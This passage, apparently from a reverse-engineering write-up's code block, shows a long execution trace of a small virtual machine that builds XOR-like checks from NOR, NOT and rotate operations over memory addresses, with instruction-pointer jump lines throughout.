class="line">0x11cf:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x11cf:set ip to 0x11d8</span><br><span class="line">0x11d8:*(0x11d6)=~(*(0x202f))</span><br><span class="line">0x11db:*(0x11d7)=~(*(0x211d))</span><br><span class="line">[*] ip=0x11de:set ip to 0x11e7</span><br><span class="line">0x11e7:*(0x11e5)=~(*(0x202f))</span><br><span class="line">0x11ea:*(0x11e6)=~(*(0x11d7))</span><br><span class="line">0x11ed:reg=~(*(0x11e5)|*(0x11e6))</span><br><span class="line">0x11f0:*(0x11d7)=reg</span><br><span class="line">[*] ip=0x11f6:set ip to 0x11ff</span><br><span class="line">0x11ff:*(0x11fd)=~(*(0x211d))</span><br><span class="line">0x1202:*(0x11fe)=~(*(0x11d6))</span><br><span class="line">0x1205:reg=~(*(0x11fd)|*(0x11fe))</span><br><span class="line">0x1208:*(0x11d6)=reg</span><br><span class="line">0x120e:reg=~(*(0x11d6)|*(0x11d7))</span><br><span class="line">0x1211:*(0x202f)=~reg</span><br><span class="line">0x1214:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1217:*(0x306)=~reg</span><br><span class="line">0x121a:*(0x202f)=*(0x2144)</span><br><span class="line">0x12d4:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x12d4:set ip to 0x12dd</span><br><span class="line">0x12dd:*(0x12db)=~(*(0x202f))</span><br><span class="line">0x12e0:*(0x12dc)=~(*(0x2124))</span><br><span class="line">[*] ip=0x12e3:set ip to 0x12ec</span><br><span class="line">0x12ec:*(0x12ea)=~(*(0x202f))</span><br><span class="line">0x12ef:*(0x12eb)=~(*(0x12dc))</span><br><span class="line">0x12f2:reg=~(*(0x12ea)|*(0x12eb))</span><br><span class="line">0x12f5:*(0x12dc)=reg</span><br><span class="line">[*] ip=0x12fb:set ip to 0x1304</span><br><span class="line">0x1304:*(0x1302)=~(*(0x2124))</span><br><span class="line">0x1307:*(0x1303)=~(*(0x12db))</span><br><span class="line">0x130a:reg=~(*(0x1302)|*(0x1303))</span><br><span class="line">0x130d:*(0x12db)=reg</span><br><span class="line">0x1313:reg=~(*(0x12db)|*(0x12dc))</span><br><span class="line">0x1316:*(0x202f)=~reg</span><br><span class="line">0x1319:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x131c:*(0x306)=~reg</span><br><span class="line">0x131f:*(0x2145)=*(0x2145)</span><br><span class="line">0x1325:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x132b:set ip to 0x1334</span><br><span class="line">0x1334:*(0x1332)=~(*(0x202f))</span><br><span class="line">0x1337:*(0x1333)=~(*(0x2136))</span><br><span class="line">[*] ip=0x133a:set ip to 0x1343</span><br><span class="line">0x1343:*(0x1341)=~(*(0x202f))</span><br><span class="line">0x1346:*(0x1342)=~(*(0x1333))</span><br><span class="line">0x1349:reg=~(*(0x1341)|*(0x1342))</span><br><span class="line">0x134c:*(0x1333)=reg</span><br><span class="line">[*] ip=0x1352:set ip to 0x135b</span><br><span class="line">0x135b:*(0x1359)=~(*(0x2136))</span><br><span class="line">0x135e:*(0x135a)=~(*(0x1332))</span><br><span class="line">0x1361:reg=~(*(0x1359)|*(0x135a))</span><br><span class="line">0x1364:*(0x1332)=reg</span><br><span class="line">0x136a:reg=~(*(0x1332)|*(0x1333))</span><br><span class="line">0x136d:*(0x202f)=~reg</span><br><span class="line">0x1370:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1373:*(0x306)=~reg</span><br><span class="line">0x1376:*(0x2146)=*(0x2146)</span><br><span class="line">0x137c:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1382:set ip to 0x138b</span><br><span class="line">0x138b:*(0x1389)=~(*(0x202f))</span><br><span class="line">0x138e:*(0x138a)=~(*(0x2126))</span><br><span class="line">[*] ip=0x1391:set ip to 0x139a</span><br><span class="line">0x139a:*(0x1398)=~(*(0x202f))</span><br><span class="line">0x139d:*(0x1399)=~(*(0x138a))</span><br><span class="line">0x13a0:reg=~(*(0x1398)|*(0x1399))</span><br><span class="line">0x13a3:*(0x138a)=reg</span><br><span class="line">[*] ip=0x13a9:set ip to 0x13b2</span><br><span class="line">0x13b2:*(0x13b0)=~(*(0x2126))</span><br><span class="line">0x13b5:*(0x13b1)=~(*(0x1389))</span><br><span class="line">0x13b8:reg=~(*(0x13b0)|*(0x13b1))</span><br><span class="line">0x13bb:*(0x1389)=reg</span><br><span class="line">0x13c1:reg=~(*(0x1389)|*(0x138a))</span><br><span class="line">0x13c4:*(0x202f)=~reg</span><br><span class="line">0x13c7:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x13ca:*(0x306)=~reg</span><br><span class="line">0x13cd:*(0x2147)=*(0x2147)</span><br><span class="line">0x13d3:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x13d9:set ip to 0x13e2</span><br><span class="line">0x13e2:*(0x13e0)=~(*(0x202f))</span><br><span class="line">0x13e5:*(0x13e1)=~(*(0x2122))</span><br><span class="line">[*] ip=0x13e8:set ip to 0x13f1</span><br><span class="line">0x13f1:*(0x13ef)=~(*(0x202f))</span><br><span class="line">0x13f4:*(0x13f0)=~(*(0x13e1))</span><br><span class="line">0x13f7:reg=~(*(0x13ef)|*(0x13f0))</span><br><span class="line">0x13fa:*(0x13e1)=reg</span><br><span class="line">[*] ip=0x1400:set ip to 0x1409</span><br><span class="line">0x1409:*(0x1407)=~(*(0x2122))</span><br><span class="line">0x140c:*(0x1408)=~(*(0x13e0))</span><br><span class="line">0x140f:reg=~(*(0x1407)|*(0x1408))</span><br><span class="line">0x1412:*(0x13e0)=reg</span><br><span class="line">0x1418:reg=~(*(0x13e0)|*(0x13e1))</span><br><span class="line">0x141b:*(0x202f)=~reg</span><br><span class="line">0x141e:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1421:*(0x306)=~reg</span><br><span class="line">0x1424:*(0x2148)=*(0x2148)</span><br><span class="line">0x142a:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1430:set ip to 0x1439</span><br><span class="line">0x1439:*(0x1437)=~(*(0x202f))</span><br><span class="line">0x143c:*(0x1438)=~(*(0x2114))</span><br><span class="line">[*] ip=0x143f:set ip to 0x1448</span><br><span class="line">0x1448:*(0x1446)=~(*(0x202f))</span><br><span class="line">0x144b:*(0x1447)=~(*(0x1438))</span><br><span class="line">0x144e:reg=~(*(0x1446)|*(0x1447))</span><br><span class="line">0x1451:*(0x1438)=reg</span><br><span class="line">[*] ip=0x1457:set ip to 0x1460</span><br><span class="line">0x1460:*(0x145e)=~(*(0x2114))</span><br><span class="line">0x1463:*(0x145f)=~(*(0x1437))</span><br><span class="line">0x1466:reg=~(*(0x145e)|*(0x145f))</span><br><span class="line">0x1469:*(0x1437)=reg</span><br><span class="line">0x146f:reg=~(*(0x1437)|*(0x1438))</span><br><span class="line">0x1472:*(0x202f)=~reg</span><br><span class="line">0x1475:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1478:*(0x306)=~reg</span><br><span class="line">[*] ip=0x147b:set ip to 0x1484</span><br><span class="line">0x1484:*(0x1482)=~(*(0x2149))</span><br><span class="line">0x1487:*(0x1483)=~(*(0x212d))</span><br><span class="line">[*] ip=0x148a:set ip to 0x1493</span><br><span class="line">0x1493:*(0x1491)=~(*(0x2149))</span><br><span class="line">0x1496:*(0x1492)=~(*(0x1483))</span><br><span class="line">0x1499:reg=~(*(0x1491)|*(0x1492))</span><br><span class="line">0x149c:*(0x1483)=reg</span><br><span class="line">[*] ip=0x14a2:set ip to 0x14ab</span><br><span class="line">0x14ab:*(0x14a9)=~(*(0x212d))</span><br><span class="line">0x14ae:*(0x14aa)=~(*(0x1482))</span><br><span class="line">0x14b1:reg=~(*(0x14a9)|*(0x14aa))</span><br><span class="line">0x14b4:*(0x1482)=reg</span><br><span class="line">0x14ba:reg=~(*(0x1482)|*(0x1483))</span><br><span class="line">0x14bd:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x14c0:set ip to 0x14c9</span><br><span class="line">0x14c9:*(0x14c7)=~(*(0x202f))</span><br><span class="line">0x14cc:*(0x14c8)=~(*(0x2115))</span><br><span class="line">[*] ip=0x14cf:set ip to 0x14d8</span><br><span class="line">0x14d8:*(0x14d6)=~(*(0x202f))</span><br><span class="line">0x14db:*(0x14d7)=~(*(0x14c8))</span><br><span class="line">0x14de:reg=~(*(0x14d6)|*(0x14d7))</span><br><span class="line">0x14e1:*(0x14c8)=reg</span><br><span class="line">[*] ip=0x14e7:set ip to 0x14f0</span><br><span class="line">0x14f0:*(0x14ee)=~(*(0x2115))</span><br><span class="line">0x14f3:*(0x14ef)=~(*(0x14c7))</span><br><span class="line">0x14f6:reg=~(*(0x14ee)|*(0x14ef))</span><br><span class="line">0x14f9:*(0x14c7)=reg</span><br><span class="line">0x14ff:reg=~(*(0x14c7)|*(0x14c8))</span><br><span class="line">0x1502:*(0x202f)=~reg</span><br><span class="line">0x1505:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1508:*(0x306)=~reg</span><br><span class="line">0x150b:*(0x214a)=*(0x214a)</span><br><span class="line">0x1511:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1517:set ip to 0x1520</span><br><span class="line">0x1520:*(0x151e)=~(*(0x202f))</span><br><span class="line">0x1523:*(0x151f)=~(*(0x212a))</span><br><span class="line">[*] ip=0x1526:set ip to 0x152f</span><br><span class="line">0x152f:*(0x152d)=~(*(0x202f))</span><br><span class="line">0x1532:*(0x152e)=~(*(0x151f))</span><br><span class="line">0x1535:reg=~(*(0x152d)|*(0x152e))</span><br><span class="line">0x1538:*(0x151f)=reg</span><br><span class="line">[*] ip=0x153e:set ip to 0x1547</span><br><span class="line">0x1547:*(0x1545)=~(*(0x212a))</span><br><span class="line">0x154a:*(0x1546)=~(*(0x151e))</span><br><span class="line">0x154d:reg=~(*(0x1545)|*(0x1546))</span><br><span class="line">0x1550:*(0x151e)=reg</span><br><span class="line">0x1556:reg=~(*(0x151e)|*(0x151f))</span><br><span class="line">0x1559:*(0x202f)=~reg</span><br><span class="line">0x155c:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x155f:*(0x306)=~reg</span><br><span class="line">0x1562:*(0x202f)=*(0x214b)</span><br><span class="line">0x161c:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x161c:set ip to 0x1625</span><br><span class="line">0x1625:*(0x1623)=~(*(0x202f))</span><br><span class="line">0x1628:*(0x1624)=~(*(0x212e))</span><br><span class="line">[*] ip=0x162b:set ip to 0x1634</span><br><span class="line">0x1634:*(0x1632)=~(*(0x202f))</span><br><span class="line">0x1637:*(0x1633)=~(*(0x1624))</span><br><span class="line">0x163a:reg=~(*(0x1632)|*(0x1633))</span><br><span class="line">0x163d:*(0x1624)=reg</span><br><span class="line">[*] ip=0x1643:set ip to 0x164c</span><br><span class="line">0x164c:*(0x164a)=~(*(0x212e))</span><br><span class="line">0x164f:*(0x164b)=~(*(0x1623))</span><br><span class="line">0x1652:reg=~(*(0x164a)|*(0x164b))</span><br><span class="line">0x1655:*(0x1623)=reg</span><br><span class="line">0x165b:reg=~(*(0x1623)|*(0x1624))</span><br><span class="line">0x165e:*(0x202f)=~reg</span><br><span class="line">0x1661:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1664:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1667:set ip to 0x1670</span><br><span class="line">0x1670:*(0x166e)=~(*(0x214c))</span><br><span class="line">0x1673:*(0x166f)=~(*(0x2118))</span><br><span class="line">[*] ip=0x1676:set ip to 0x167f</span><br><span class="line">0x167f:*(0x167d)=~(*(0x214c))</span><br><span class="line">0x1682:*(0x167e)=~(*(0x166f))</span><br><span class="line">0x1685:reg=~(*(0x167d)|*(0x167e))</span><br><span class="line">0x1688:*(0x166f)=reg</span><br><span class="line">[*] ip=0x168e:set ip to 0x1697</span><br><span class="line">0x1697:*(0x1695)=~(*(0x2118))</span><br><span class="line">0x169a:*(0x1696)=~(*(0x166e))</span><br><span class="line">0x169d:reg=~(*(0x1695)|*(0x1696))</span><br><span class="line">0x16a0:*(0x166e)=reg</span><br><span class="line">0x16a6:reg=~(*(0x166e)|*(0x166f))</span><br><span class="line">0x16a9:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x16ac:set ip to 0x16b5</span><br><span class="line">0x16b5:*(0x16b3)=~(*(0x202f))</span><br><span class="line">0x16b8:*(0x16b4)=~(*(0x2131))</span><br><span class="line">[*] ip=0x16bb:set ip to 0x16c4</span><br><span class="line">0x16c4:*(0x16c2)=~(*(0x202f))</span><br><span class="line">0x16c7:*(0x16c3)=~(*(0x16b4))</span><br><span class="line">0x16ca:reg=~(*(0x16c2)|*(0x16c3))</span><br><span class="line">0x16cd:*(0x16b4)=reg</span><br><span class="line">[*] ip=0x16d3:set ip to 0x16dc</span><br><span class="line">0x16dc:*(0x16da)=~(*(0x2131))</span><br><span class="line">0x16df:*(0x16db)=~(*(0x16b3))</span><br><span class="line">0x16e2:reg=~(*(0x16da)|*(0x16db))</span><br><span class="line">0x16e5:*(0x16b3)=reg</span><br><span class="line">0x16eb:reg=~(*(0x16b3)|*(0x16b4))</span><br><span class="line">0x16ee:*(0x202f)=~reg</span><br><span class="line">0x16f1:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x16f4:*(0x306)=~reg</span><br><span class="line">0x16f7:*(0x202f)=*(0x214d)</span><br><span class="line">0x17b1:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x17b1:set ip to 0x17ba</span><br><span class="line">0x17ba:*(0x17b8)=~(*(0x202f))</span><br><span class="line">0x17bd:*(0x17b9)=~(*(0x2129))</span><br><span class="line">[*] ip=0x17c0:set ip to 0x17c9</span><br><span class="line">0x17c9:*(0x17c7)=~(*(0x202f))</span><br><span class="line">0x17cc:*(0x17c8)=~(*(0x17b9))</span><br><span class="line">0x17cf:reg=~(*(0x17c7)|*(0x17c8))</span><br><span class="line">0x17d2:*(0x17b9)=reg</span><br><span class="line">[*] ip=0x17d8:set ip to 0x17e1</span><br><span class="line">0x17e1:*(0x17df)=~(*(0x2129))</span><br><span class="line">0x17e4:*(0x17e0)=~(*(0x17b8))</span><br><span class="line">0x17e7:reg=~(*(0x17df)|*(0x17e0))</span><br><span class="line">0x17ea:*(0x17b8)=reg</span><br><span class="line">0x17f0:reg=~(*(0x17b8)|*(0x17b9))</span><br><span class="line">0x17f3:*(0x202f)=~reg</span><br><span class="line">0x17f6:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x17f9:*(0x306)=~reg</span><br><span class="line">[*] ip=0x17fc:set ip to 0x1805</span><br><span class="line">0x1805:*(0x1803)=~(*(0x214e))</span><br><span class="line">0x1808:*(0x1804)=~(*(0x211e))</span><br><span class="line">[*] ip=0x180b:set ip to 0x1814</span><br><span class="line">0x1814:*(0x1812)=~(*(0x214e))</span><br><span class="line">0x1817:*(0x1813)=~(*(0x1804))</span><br><span class="line">0x181a:reg=~(*(0x1812)|*(0x1813))</span><br><span class="line">0x181d:*(0x1804)=reg</span><br><span class="line">[*] ip=0x1823:set ip to 0x182c</span><br><span class="line">0x182c:*(0x182a)=~(*(0x211e))</span><br><span class="line">0x182f:*(0x182b)=~(*(0x1803))</span><br><span class="line">0x1832:reg=~(*(0x182a)|*(0x182b))</span><br><span class="line">0x1835:*(0x1803)=reg</span><br><span class="line">0x183b:reg=~(*(0x1803)|*(0x1804))</span><br><span class="line">0x183e:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1841:set ip to 0x184a</span><br><span class="line">0x184a:*(0x1848)=~(*(0x202f))</span><br><span class="line">0x184d:*(0x1849)=~(*(0x212c))</span><br><span class="line">[*] ip=0x1850:set ip to 0x1859</span><br><span class="line">0x1859:*(0x1857)=~(*(0x202f))</span><br><span class="line">0x185c:*(0x1858)=~(*(0x1849))</span><br><span class="line">0x185f:reg=~(*(0x1857)|*(0x1858))</span><br><span class="line">0x1862:*(0x1849)=reg</span><br><span class="line">[*] ip=0x1868:set ip to 0x1871</span><br><span class="line">0x1871:*(0x186f)=~(*(0x212c))</span><br><span class="line">0x1874:*(0x1870)=~(*(0x1848))</span><br><span class="line">0x1877:reg=~(*(0x186f)|*(0x1870))</span><br><span class="line">0x187a:*(0x1848)=reg</span><br><span class="line">0x1880:reg=~(*(0x1848)|*(0x1849))</span><br><span class="line">0x1883:*(0x202f)=~reg</span><br><span class="line">0x1886:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1889:*(0x306)=~reg</span><br><span class="line">0x188c:*(0x214f)=*(0x214f)</span><br><span class="line">0x1892:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x1898:set ip to 0x18a1</span><br><span class="line">0x18a1:*(0x189f)=~(*(0x202f))</span><br><span class="line">0x18a4:*(0x18a0)=~(*(0x2130))</span><br><span class="line">[*] ip=0x18a7:set ip to 0x18b0</span><br><span class="line">0x18b0:*(0x18ae)=~(*(0x202f))</span><br><span class="line">0x18b3:*(0x18af)=~(*(0x18a0))</span><br><span class="line">0x18b6:reg=~(*(0x18ae)|*(0x18af))</span><br><span class="line">0x18b9:*(0x18a0)=reg</span><br><span class="line">[*] ip=0x18bf:set ip to 0x18c8</span><br><span class="line">0x18c8:*(0x18c6)=~(*(0x2130))</span><br><span class="line">0x18cb:*(0x18c7)=~(*(0x189f))</span><br><span class="line">0x18ce:reg=~(*(0x18c6)|*(0x18c7))</span><br><span class="line">0x18d1:*(0x189f)=reg</span><br><span class="line">0x18d7:reg=~(*(0x189f)|*(0x18a0))</span><br><span class="line">0x18da:*(0x202f)=~reg</span><br><span class="line">0x18dd:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x18e0:*(0x306)=~reg</span><br><span class="line">0x18e3:*(0x202f)=*(0x2150)</span><br><span class="line">0x199d:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x199d:set ip to 0x19a6</span><br><span class="line">0x19a6:*(0x19a4)=~(*(0x202f))</span><br><span class="line">0x19a9:*(0x19a5)=~(*(0x212e))</span><br><span class="line">[*] ip=0x19ac:set ip to 0x19b5</span><br><span class="line">0x19b5:*(0x19b3)=~(*(0x202f))</span><br><span class="line">0x19b8:*(0x19b4)=~(*(0x19a5))</span><br><span class="line">0x19bb:reg=~(*(0x19b3)|*(0x19b4))</span><br><span class="line">0x19be:*(0x19a5)=reg</span><br><span class="line">[*] ip=0x19c4:set ip to 0x19cd</span><br><span class="line">0x19cd:*(0x19cb)=~(*(0x212e))</span><br><span class="line">0x19d0:*(0x19cc)=~(*(0x19a4))</span><br><span class="line">0x19d3:reg=~(*(0x19cb)|*(0x19cc))</span><br><span class="line">0x19d6:*(0x19a4)=reg</span><br><span class="line">0x19dc:reg=~(*(0x19a4)|*(0x19a5))</span><br><span class="line">0x19df:*(0x202f)=~reg</span><br><span class="line">0x19e2:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x19e5:*(0x306)=~reg</span><br><span class="line">0x19e8:*(0x2151)=*(0x2151)</span><br><span class="line">0x19ee:*(0x202f)=*(0x1)</span><br><span class="line">[*] ip=0x19f4:set ip to 0x19fd</span><br><span class="line">0x19fd:*(0x19fb)=~(*(0x202f))</span><br><span class="line">0x1a00:*(0x19fc)=~(*(0x211c))</span><br><span class="line">[*] ip=0x1a03:set ip to 0x1a0c</span><br><span class="line">0x1a0c:*(0x1a0a)=~(*(0x202f))</span><br><span class="line">0x1a0f:*(0x1a0b)=~(*(0x19fc))</span><br><span class="line">0x1a12:reg=~(*(0x1a0a)|*(0x1a0b))</span><br><span class="line">0x1a15:*(0x19fc)=reg</span><br><span class="line">[*] ip=0x1a1b:set ip to 0x1a24</span><br><span class="line">0x1a24:*(0x1a22)=~(*(0x211c))</span><br><span class="line">0x1a27:*(0x1a23)=~(*(0x19fb))</span><br><span class="line">0x1a2a:reg=~(*(0x1a22)|*(0x1a23))</span><br><span class="line">0x1a2d:*(0x19fb)=reg</span><br><span class="line">0x1a33:reg=~(*(0x19fb)|*(0x19fc))</span><br><span class="line">0x1a36:*(0x202f)=~reg</span><br><span class="line">0x1a39:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1a3c:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1a3f:set ip to 0x1a48</span><br><span class="line">0x1a48:*(0x1a46)=~(*(0x2152))</span><br><span class="line">0x1a4b:*(0x1a47)=~(*(0x2119))</span><br><span class="line">[*] ip=0x1a4e:set ip to 0x1a57</span><br><span class="line">0x1a57:*(0x1a55)=~(*(0x2152))</span><br><span class="line">0x1a5a:*(0x1a56)=~(*(0x1a47))</span><br><span class="line">0x1a5d:reg=~(*(0x1a55)|*(0x1a56))</span><br><span class="line">0x1a60:*(0x1a47)=reg</span><br><span class="line">[*] ip=0x1a66:set ip to 0x1a6f</span><br><span class="line">0x1a6f:*(0x1a6d)=~(*(0x2119))</span><br><span class="line">0x1a72:*(0x1a6e)=~(*(0x1a46))</span><br><span class="line">0x1a75:reg=~(*(0x1a6d)|*(0x1a6e))</span><br><span class="line">0x1a78:*(0x1a46)=reg</span><br><span class="line">0x1a7e:reg=~(*(0x1a46)|*(0x1a47))</span><br><span class="line">0x1a81:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1a84:set ip to 0x1a8d</span><br><span class="line">0x1a8d:*(0x1a8b)=~(*(0x202f))</span><br><span class="line">0x1a90:*(0x1a8c)=~(*(0x2128))</span><br><span class="line">[*] ip=0x1a93:set ip to 0x1a9c</span><br><span class="line">0x1a9c:*(0x1a9a)=~(*(0x202f))</span><br><span class="line">0x1a9f:*(0x1a9b)=~(*(0x1a8c))</span><br><span class="line">0x1aa2:reg=~(*(0x1a9a)|*(0x1a9b))</span><br><span class="line">0x1aa5:*(0x1a8c)=reg</span><br><span class="line">[*] ip=0x1aab:set ip to 0x1ab4</span><br><span class="line">0x1ab4:*(0x1ab2)=~(*(0x2128))</span><br><span class="line">0x1ab7:*(0x1ab3)=~(*(0x1a8b))</span><br><span class="line">0x1aba:reg=~(*(0x1ab2)|*(0x1ab3))</span><br><span class="line">0x1abd:*(0x1a8b)=reg</span><br><span class="line">0x1ac3:reg=~(*(0x1a8b)|*(0x1a8c))</span><br><span class="line">0x1ac6:*(0x202f)=~reg</span><br><span class="line">0x1ac9:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1acc:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1acf:set ip to 0x1ad8</span><br><span class="line">0x1ad8:*(0x1ad6)=~(*(0x2153))</span><br><span class="line">0x1adb:*(0x1ad7)=~(*(0x212f))</span><br><span class="line">[*] ip=0x1ade:set ip to 0x1ae7</span><br><span class="line">0x1ae7:*(0x1ae5)=~(*(0x2153))</span><br><span class="line">0x1aea:*(0x1ae6)=~(*(0x1ad7))</span><br><span class="line">0x1aed:reg=~(*(0x1ae5)|*(0x1ae6))</span><br><span class="line">0x1af0:*(0x1ad7)=reg</span><br><span class="line">[*] ip=0x1af6:set ip to 0x1aff</span><br><span class="line">0x1aff:*(0x1afd)=~(*(0x212f))</span><br><span class="line">0x1b02:*(0x1afe)=~(*(0x1ad6))</span><br><span class="line">0x1b05:reg=~(*(0x1afd)|*(0x1afe))</span><br><span class="line">0x1b08:*(0x1ad6)=reg</span><br><span class="line">0x1b0e:reg=~(*(0x1ad6)|*(0x1ad7))</span><br><span class="line">0x1b11:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1b14:set ip to 0x1b1d</span><br><span class="line">0x1b1d:*(0x1b1b)=~(*(0x202f))</span><br><span class="line">0x1b20:*(0x1b1c)=~(*(0x2122))</span><br><span class="line">[*] ip=0x1b23:set ip to 0x1b2c</span><br><span class="line">0x1b2c:*(0x1b2a)=~(*(0x202f))</span><br><span class="line">0x1b2f:*(0x1b2b)=~(*(0x1b1c))</span><br><span class="line">0x1b32:reg=~(*(0x1b2a)|*(0x1b2b))</span><br><span class="line">0x1b35:*(0x1b1c)=reg</span><br><span class="line">[*] ip=0x1b3b:set ip to 0x1b44</span><br><span class="line">0x1b44:*(0x1b42)=~(*(0x2122))</span><br><span class="line">0x1b47:*(0x1b43)=~(*(0x1b1b))</span><br><span class="line">0x1b4a:reg=~(*(0x1b42)|*(0x1b43))</span><br><span class="line">0x1b4d:*(0x1b1b)=reg</span><br><span class="line">0x1b53:reg=~(*(0x1b1b)|*(0x1b1c))</span><br><span class="line">0x1b56:*(0x202f)=~reg</span><br><span class="line">0x1b59:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1b5c:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1b5f:set ip to 0x1b68</span><br><span class="line">0x1b68:*(0x1b66)=~(*(0x2154))</span><br><span class="line">0x1b6b:*(0x1b67)=~(*(0x211a))</span><br><span class="line">[*] ip=0x1b6e:set ip to 0x1b77</span><br><span class="line">0x1b77:*(0x1b75)=~(*(0x2154))</span><br><span class="line">0x1b7a:*(0x1b76)=~(*(0x1b67))</span><br><span class="line">0x1b7d:reg=~(*(0x1b75)|*(0x1b76))</span><br><span class="line">0x1b80:*(0x1b67)=reg</span><br><span class="line">[*] ip=0x1b86:set ip to 0x1b8f</span><br><span class="line">0x1b8f:*(0x1b8d)=~(*(0x211a))</span><br><span class="line">0x1b92:*(0x1b8e)=~(*(0x1b66))</span><br><span class="line">0x1b95:reg=~(*(0x1b8d)|*(0x1b8e))</span><br><span class="line">0x1b98:*(0x1b66)=reg</span><br><span class="line">0x1b9e:reg=~(*(0x1b66)|*(0x1b67))</span><br><span class="line">0x1ba1:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1ba4:set ip to 0x1bad</span><br><span class="line">0x1bad:*(0x1bab)=~(*(0x202f))</span><br><span class="line">0x1bb0:*(0x1bac)=~(*(0x2120))</span><br><span class="line">[*] ip=0x1bb3:set ip to 0x1bbc</span><br><span class="line">0x1bbc:*(0x1bba)=~(*(0x202f))</span><br><span class="line">0x1bbf:*(0x1bbb)=~(*(0x1bac))</span><br><span class="line">0x1bc2:reg=~(*(0x1bba)|*(0x1bbb))</span><br><span class="line">0x1bc5:*(0x1bac)=reg</span><br><span class="line">[*] ip=0x1bcb:set ip to 0x1bd4</span><br><span class="line">0x1bd4:*(0x1bd2)=~(*(0x2120))</span><br><span class="line">0x1bd7:*(0x1bd3)=~(*(0x1bab))</span><br><span class="line">0x1bda:reg=~(*(0x1bd2)|*(0x1bd3))</span><br><span class="line">0x1bdd:*(0x1bab)=reg</span><br><span class="line">0x1be3:reg=~(*(0x1bab)|*(0x1bac))</span><br><span class="line">0x1be6:*(0x202f)=~reg</span><br><span class="line">0x1be9:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1bec:*(0x306)=~reg</span><br><span class="line">0x1bef:*(0x202f)=*(0x2155)</span><br><span class="line">0x1ca9:rol(*(0x202f), 15)</span><br><span class="line">[*] ip=0x1ca9:set ip to 0x1cb2</span><br><span class="line">0x1cb2:*(0x1cb0)=~(*(0x202f))</span><br><span class="line">0x1cb5:*(0x1cb1)=~(*(0x212e))</span><br><span class="line">[*] ip=0x1cb8:set ip to 0x1cc1</span><br><span class="line">0x1cc1:*(0x1cbf)=~(*(0x202f))</span><br><span class="line">0x1cc4:*(0x1cc0)=~(*(0x1cb1))</span><br><span class="line">0x1cc7:reg=~(*(0x1cbf)|*(0x1cc0))</span><br><span class="line">0x1cca:*(0x1cb1)=reg</span><br><span class="line">[*] ip=0x1cd0:set ip to 0x1cd9</span><br><span class="line">0x1cd9:*(0x1cd7)=~(*(0x212e))</span><br><span class="line">0x1cdc:*(0x1cd8)=~(*(0x1cb0))</span><br><span class="line">0x1cdf:reg=~(*(0x1cd7)|*(0x1cd8))</span><br><span class="line">0x1ce2:*(0x1cb0)=reg</span><br><span class="line">0x1ce8:reg=~(*(0x1cb0)|*(0x1cb1))</span><br><span class="line">0x1ceb:*(0x202f)=~reg</span><br><span class="line">0x1cee:reg=~(*(0x202f)|*(0x306))</span><br><span class="line">0x1cf1:*(0x306)=~reg</span><br><span class="line">[*] ip=0x1cf4:set ip to 0x1cfd</span><br><span class="line">0x1cfd:*(0x1cfb)=~(*(0x2156))</span><br><span class="line">0x1d00:*(0x1cfc)=~(*(0x2127))</span><br><span class="line">[*] ip=0x1d03:set ip to 0x1d0c</span><br><span class="line">0x1d0c:*(0x1d0a)=~(*(0x2156))</span><br><span class="line">0x1d0f:*(0x1d0b)=~(*(0x1cfc))</span><br><span class="line">0x1d12:reg=~(*(0x1d0a)|*(0x1d0b))</span><br><span class="line">0x1d15:*(0x1cfc)=reg</span><br><span class="line">[*] ip=0x1d1b:set ip to 0x1d24</span><br><span class="line">0x1d24:*(0x1d22)=~(*(0x2127))</span><br><span class="line">0x1d27:*(0x1d23)=~(*(0x1cfb))</span><br><span class="line">0x1d2a:reg=~(*(0x1d22)|*(0x1d23))</span><br><span class="line">0x1d2d:*(0x1cfb)=reg</span><br><span class="line">0x1d33:reg=~(*(0x1cfb)|*(0x1cfc))</span><br><span class="line">0x1d36:*(0x202f)=~reg</span><br><span class="line">[*] ip=0x1d39:set ip to 0x1d42</span><br><span class="line">0x1d42:*(0x1d40)=~(*(0x202f))</span><br><span class="line">0x1d45:*(0x1d41)=~(*(0x2117))</span><br><span class="line">[*] ip=0x1d48:set ip to 0x1d51</span><br><span class="line">0x1d51:*(0x1d4f)=~(*(0x202f))</span><br><span class="line">0x1d54:*(0x1d50)=~(*(0x1d41))</span><br><span class="line">0x1d57:reg=~(*(0x1d4f)|*(0x1d50))</span><br><span class="line">0x1d5a:*(0x1d41)=reg</span><br><span class="line">[*] ip=0x1d60:set ip to 0x1d69</span><br><span class="line">0x1d69:*(0x1d67)=~(*(0x2117))</span><br><span 